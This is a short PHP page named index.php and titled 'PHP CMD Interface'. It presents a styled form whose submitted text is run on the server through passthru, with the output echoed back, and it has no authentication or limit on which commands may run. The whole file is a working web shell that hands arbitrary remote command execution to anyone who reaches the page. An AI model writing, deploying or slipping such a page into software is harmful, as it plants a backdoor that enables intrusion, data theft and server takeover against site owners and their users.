<!-- index.php -->
<!DOCTYPE html>
<html lang="en">
<head>
  <meta charset="UTF-8">
  <title>PHP CMD Interface</title>
  <script src="https://cdn.tailwindcss.com"></script>
</head>
<body class="bg-gray-900 text-green-400 font-mono p-8">
  <div class="max-w-2xl mx-auto bg-gray-800 p-6 rounded-xl shadow-lg">
    <form method="POST" class="mb-4">
      <label for="command" class="block text-green-300 mb-2">Enter Command:</label>
      <input type="text" name="command" id="command" class="w-full bg-gray-700 border border-green-500 p-2 rounded mb-4" autofocus>
      <button type="submit" class="bg-green-500 text-gray-900 font-bold py-1 px-4 rounded">Run</button>
    </form>

    <?php
      if ($_SERVER["REQUEST_METHOD"] === "POST" && !empty($_POST["command"])) {
        $command = escapeshellcmd($_POST["command"]);
        echo "<div class='bg-gray-700 p-4 rounded'>";
        echo "<span class='text-green-300'>\$ $command</span><br>";
        echo "<pre class='text-green-200'>";
        passthru($command);
        echo "</pre></div>";
      }
    ?>
  </div>
</body>
</html>